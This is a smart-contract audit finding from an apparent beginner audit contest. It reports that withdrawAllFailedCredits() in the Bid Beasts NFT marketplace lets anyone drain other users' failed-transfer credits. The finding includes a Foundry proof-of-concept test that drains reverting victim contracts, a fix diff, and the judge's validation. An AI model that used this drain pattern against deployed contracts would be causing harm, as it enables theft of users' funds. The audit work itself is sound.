Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker Can Steal All Failed Transfer Credits Via Parameter Confusion in withdrawAllFailedCredits()

rastadave

Root + Impact

Description

  • Normal behavior: withdrawAllFailedCredits() allows users to withdraw funds that failed to be transferred directly. Users can call this to retrieve their credit manually.

  • The problem: There is a critical logical flaw where it mixes two different addresses inconsistently. The function reads credits from the parameter _receiver. It clears credits from msg.sender (the caller). It then sends ETH to msg.sender (the caller). This creates a disconnect between whose creidts are being read vs. whose credits are being cleared. This essentially allows for UNLIMITED THEFT of any user's failed transfer credits.

// Root cause in the codebase with @> marks to highlight the relevant section
@> // Root cause in BidBeastsNFTMarketPlace.sol line 238
​
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Reads _receiver's balance
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;// @> Resets msg.sender's balance (This is wrong)
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> Sends to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any user with failed credits becomes a victim

  • Failed credits occur naturally when bid refunds fail to reverting contracts

  • The attacker can force failed credits by bidding from reverting contracts

Impact:

  • Critical because it leads to complete theft of all failed credit balances

  • Infinite drainage, and it affects all users.

  • Also no access control and the function is external. Anybody can call it with any address as the parameter and steal credit.

  • This is not a theoretical bug but has real impact.

Proof of Concept

/*
The following test demonstrates the vulnerability
*/
function test_Critical_StealEveryonesETH() public {
console.log("\n Critical Vulnerability Test: Steal all ETH");
​
address[] memory victims = new address[](5);
uint256 totalToSteal = 0;
​
for (uint i = 0; i < 5; i++) {
RevertingVictim victim = new RevertingVictim();
victims[i] = address(victim);
vm.deal(address(victim), 10 ether);
​
vm.prank(owner);
nft.mint(seller);
​
vm.startPrank(seller);
nft.approve(address(market), i + 1);
market.listNFT(i + 1, 1 ether, 0);
vm.stopPrank();
​
victim.bid{value: 2 ether}(market, i + 1);
​
vm.prank(bidder1);
market.placeBid{value: 3 ether}(i + 1);
​
uint256 credits = market.failedTransferCredits(address(victim));
console.log("Victim has failed credits:", credits / 1e18);
totalToSteal += credits;
}
​
console.log("\n Total ETH available to steal:", totalToSteal / 1e18);
​
uint256 attackerBalanceBefore = attacker.balance;
​
for (uint i = 0; i < victims.length; i++) {
vm.prank(attacker);
try market.withdrawAllFailedCredits(victims[i]) {
console.log(" Drained victim", i);
} catch {
break;
}
}
​
uint256 stolen = attacker.balance - attackerBalanceBefore;
console.log("\n Total stolen:", stolen / 1e18, "ETH");
console.log("Success rate:", (stolen * 100) / totalToSteal, "%");
​
assertEq(stolen, totalToSteal, "Attacker should steal everything");
}
}
​
contract RevertingVictim {
BidBeastsNFTMarket market;
​
receive() external payable {
revert("No refunds accepted!");
}
​
function bid(BidBeastsNFTMarket _market, uint256 tokenId) external payable {
market = _market;
market.placeBid{value: msg.value}(tokenId);
}
}

Recommended Mitigation

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
​
/*
The function accepts an address parameter that allows reading any user's balance while only
clearing msg.sender's balance. This enables theft of any user's failed credits.
​
Removing the parameter entirely and using msg.sender for both reading and clearing ensures
users can only withdraw their own credits, eliminating the attack vector completely.
*/
Updates

Lead Judging Commences

cryptoghost Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!